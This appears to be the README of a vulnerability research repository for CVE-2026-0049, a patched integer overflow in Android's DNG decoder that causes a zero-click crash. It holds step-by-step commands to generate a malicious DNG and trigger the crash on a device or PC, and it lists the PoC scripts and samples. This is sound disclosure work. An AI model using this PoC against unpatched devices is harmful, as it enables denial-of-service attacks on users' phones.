CVE-2026-0049 — Android DNG zero-click DoS (dng_sdk MapTable add-overflow)

Full research material and PoC. Narrative analysis: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

• Bug: unsigned integer overflow on fAreaSpec.Plane() + fAreaSpec.Planes() in dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
• Impact: zero-click DoS. The IntSan with which Android compiles libdng_sdk.so turns the overflow into abort() → SIGABRT in the process that decodes the DNG.
• It is not RCE (double bound on the loop → no OOB). See §12 of BLOG.md.
• Severity: Google (bulletin) declares it Critical; NVD/CISA Medium (CVSS 6.2) — two different taxonomies for the same CVE (§13).
• Fix: Android Security Bulletin April 2026 (patch 2026-04-01, A-456471290). Two patches: arithmetic fix in the dng_sdk (+ rewritten as -) + MIME allowlist in LocalImageResolver.java that rejects DNGs (§14).

The article also details: the complete PoC generation path (§6), why an NDK harness was used (§7), the difference between the UBSan/IntSan flags -fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime (§10), and IntSan vs SafeInt vs MTE (§11).

Structure

CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

Quick reproduction

A) Malicious DNG

pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (valid Bayer)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# or use samples/valid_poc.dng directly

Critical detail: the AreaSpec must be non-empty (0,0,H,W); with an empty area Android's dng_sdk short-circuits and decoding returns an error without crashing (see §6.6 of BLOG.md). Why a fully valid DNG is needed and not a minimal one: SkRawCodec (system decoder) is stricter than Glide/Photos and rejects DNGs without complete color metadata (§2, §6.1).

B) Crash on-device (NDK harness)

$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # Note: /data/local/tmp, NOT /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) Reproduction on PC (without a phone) with dng_validate + UBSan

Compile the dng_sdk sources applying -fsanitize=integer -fno-sanitize-recover only to dng_misc_opcodes.cpp (use harness/dng_xmp_stub.cpp to link without the XMP SDK). Then:

./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

For research/educational purposes only. Tested exclusively on owned hardware.